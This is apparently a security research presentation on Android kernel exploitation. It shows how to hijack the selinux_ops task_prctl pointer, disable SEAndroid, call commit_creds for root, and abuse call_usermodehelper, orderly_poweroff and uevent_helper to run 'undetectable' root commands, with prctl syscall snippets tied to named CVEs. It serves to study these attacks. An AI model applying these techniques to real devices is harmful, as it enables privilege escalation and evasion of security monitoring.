Proposing new kernel attack technique

Proposing new kernel attack technique

1.Search for callable function inside FPT structure (ptmx, security_ops, default_security_ops)
2.User input has to be transferred without modification (intact) // 用户输入不能被修改,必须被完整的输入。

Select function pointer(within kernel) to call without ROP

1.task_prctl function pointer from selinux_ops meets all criteria
2.5 user inputs were passed though without modification

kernel/sys.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
struct task_struct *me = current;
struct task_struct *tsk;
unsigned char comm[sizeof(me->comm)];
long error;

error = security_task_prctl(option, arg2, arg3, arg4, arg5);
if (error != -ENOSYS)
return error;

error = 0;
...
}

PXN bypass attack without ROP

When only partial memory value can be increased/decresed

CVE-2013-2094 perf_event_open

1.call reset_security_ops by increasing address of cap_task_prctl
2.call commit_creds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

Direction Type Address Text
--------- ---- ------- ----
Up p ____call_usermodehelper+130 BL commit_creds
Up p set_current_groups+38 BL commit_creds
Up p install_exec_creds+20 BL commit_creds
Up p keyctl_change_reqkey_auth+50 BL commit_creds
Up p keyctl_set_reqkey_keyring+98 BL commit_creds
Up p join_session_keyring+90 BL commit_creds
Up p join_session_keyring+118 BL commit_creds
Up p lookup_user_key:loc_C0390D70 BL commit_creds
Up p lookup_user_key+420 BL commit_creds
Up p key_replace_session_keyring+1A0 BL commit_creds
p cap_task_prctl+198 BL commit_creds
Down p selinux_setprocattr+120 BL commit_creds

int cap_task_prctl(int option, unsigned long arg2, unsigned long arg3,
unsigned long arg4, unsigned long arg5)

{

struct cred *new;
long error = 0;

new = prepare_creds();
...

changed:
return commit_creds(new);
}

ROM:C0393754 cap_task_prctl
ROM:C0393754
ROM:C0393754 MOV R12, SP
ROM:C0393758 STMFD SP!, {R3-R6,R11,R12,LR,PC}
...
ROM:C03938E8 MOV R0, R5
ROM:C03938EC BL commit_creds
...

When we have total control over memory

CVE-2014-3153 futex_requeue
CVE-2013-6282 get/put_user
CVE-2015-0815 pipe

Change the value of task_prctl within selinux_ops to kernel function address we want to call
1.Turn off SEAndroid and call commit_creds after calling prepare_kernel_cred

1
2
3
4
5
6
7
8
// change task_prctl within selinux_ops to address of reset_security_ops
syscall(172); /* 172 = sys_prctl *//* reset_security_ops() call */
[...]
// change task_prctl within selinux_ops to address of prepare_kernel_cred
cred_addr=syscall(172, 0); /* prepare_kernel_cred(0) call */
[...]
// change task_prctl within selinux_ops to address of commit_creds
syscall(172,cred_addr); /* commit_creds(cred_addr) call */

2.Calling task_prctl after overwriting its value to the address of commit_creds

1
2
3
// change task_prctl within selinux_ops to address of commit_creds
// we don’t need to call prepare_kernel_cred if we provide init_cred address as a parameter
syscall(172,&init_cred);

3.We can indirectly call override_creds function by calling task_prctl

1
2
3
4
5
6
// change task_prctl within selinux_ops to address of override_creds
[...]
void *cred_ptr=(void *)mmap(0x80000,0x100,...);
*(long *)&cred_ptr[0]=cred_addr;
[...]
syscall(172,0x80000);

kernel thread command execution

call_usermodehelper API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
static inline int
call_usermodehelper(char *path, char **argv, char **envp, int wait)
{
return call_usermodehelper_fns(path, argv, envp, wait,
NULL, NULL, NULL);
}

static inline int
call_usermodehelper_fns(char *path, char **argv, char **envp, int wait,
int (*init)(struct subprocess_info *info, struct cred *new),
void (*cleanup)(struct subprocess_info *), void *data)
{
struct subprocess_info *info;
gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;

// Set the argument, environment variables, handlers to run within kernel memory
info = call_usermodehelper_setup(path, argv, envp, gfp_mask);

if (info == NULL)
return -ENOMEM;

call_usermodehelper_setfns(info, init, cleanup, data);

// Register sub_info->work to khelper_wq queue
return call_usermodehelper_exec(info, wait);
}

struct subprocess_info *call_usermodehelper_setup(char *path, char **argv,
char **envp, gfp_t gfp_mask)
{
...
INIT_WORK(&sub_info->work, __call_usermodehelper);
...
}

static void __call_usermodehelper(struct work_struct *work)
{
...
if (wait == UMH_WAIT_PROC)
pid = kernel_thread(wait_for_helper, sub_info,
CLONE_FS | CLONE_FILES | SIGCHLD);
else
pid = kernel_thread(____call_usermodehelper, sub_info,
CLONE_VFORK | SIGCHLD);
...
}

static int ____call_usermodehelper(void *data)
{
...
retval = kernel_execve(sub_info->path,
(const char *const *)sub_info->argv,
(const char *const *)sub_info->envp);
...
}

// call do_execve function and execute user application
int kernel_execve(const char *filename,
const char *const argv[],
const char *const envp[])
{
...
ret = do_execve(filename,
(const char __user *const __user *)argv,
(const char __user *const __user *)envp, &regs);
...
}

Bypassing PXN by calling call_usermodehelper

1.search for cap_task_prctl table address from security_ops structure
2.change cap_task_prctl value to reset_security_ops’s address
3.first calling prctl function will turn off SEAndroid
4.change cap_task_prctl value to call_usermodehelper’s address
5.second calling prctl function will run kernel thread command with admin priv
6.it runs as child process of kworker -> UNDETECTABLE

Kernel Protection bypass

use codes that indirectly call call_usermodehelper APIs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
static int call_modprobe(char *module_name, int wait)
{

static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};

char **argv = kmalloc(sizeof(char *[5]), GFP_KERNEL);
if (!argv)
goto out;

module_name = kstrdup(module_name, GFP_KERNEL);
if (!module_name)
goto free_argv;

argv[0] = modprobe_path;
argv[1] = "-q";
argv[2] = "--";
argv[3] = module_name; /* check free_modprobe_argv() */
argv[4] = NULL;

return call_usermodehelper_fns(modprobe_path, argv, envp,
wait | UMH_KILLABLE, NULL, free_modprobe_argv, NULL);
free_argv:
kfree(argv);
out:
return -ENOMEM;
}

int orderly_poweroff(bool force)
{

int argc;
char **argv = argv_split(GFP_ATOMIC, poweroff_cmd, &argc);
static char *envp[] = {
"HOME=/",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin",
NULL
};
...
info = call_usermodehelper_setup(argv[0], argv, envp, GFP_ATOMIC);
if (info == NULL) {
argv_free(argv);
goto out;
}

call_usermodehelper_setfns(info, NULL, argv_cleanup, NULL);

ret = call_usermodehelper_exec(info, UMH_NO_WAIT);

...
}

...

Bypassing kernel protection by calling call_usermodehelper without parameters

1.orderly_poweroff seems to work pretty well
2.Bypassing kernel protection by calling call_usermodehelper indirectly
3.Change poweroff_cmd variable value to location of variable we want to run
4.Turn off SEAndroid and change whatever FPT to address of orderly_poweroff
5.At calling prctl, desired process will run as admin in kernel thread
6.it runs as child process of kworker -> UNDETECTABLE

the easiest kernel protection bypass

Bypassing kernel protection by overwriting uevent_helper
1.Hotplug is automatically run by kobject_uevnet_env function
2.we can execute commands by overwriting uevent_helper without changing ops structure

1
2
3
4
5
6
7
8
9
10
11
12
13
int kobject_uevent_env(struct kobject *kobj, enum kobject_action action,
char *envp_ext[])

{

// uevent_helper = CONFIG_UEVENT_HELPER_PATH = "/sbin/hotplug"
...
argv [0] = uevent_helper;
argv [1] = (char *)subsystem;
argv [2] = NULL;
...
retval = call_usermodehelper(argv[0], argv,
env->envp, UMH_WAIT_EXEC);
...
}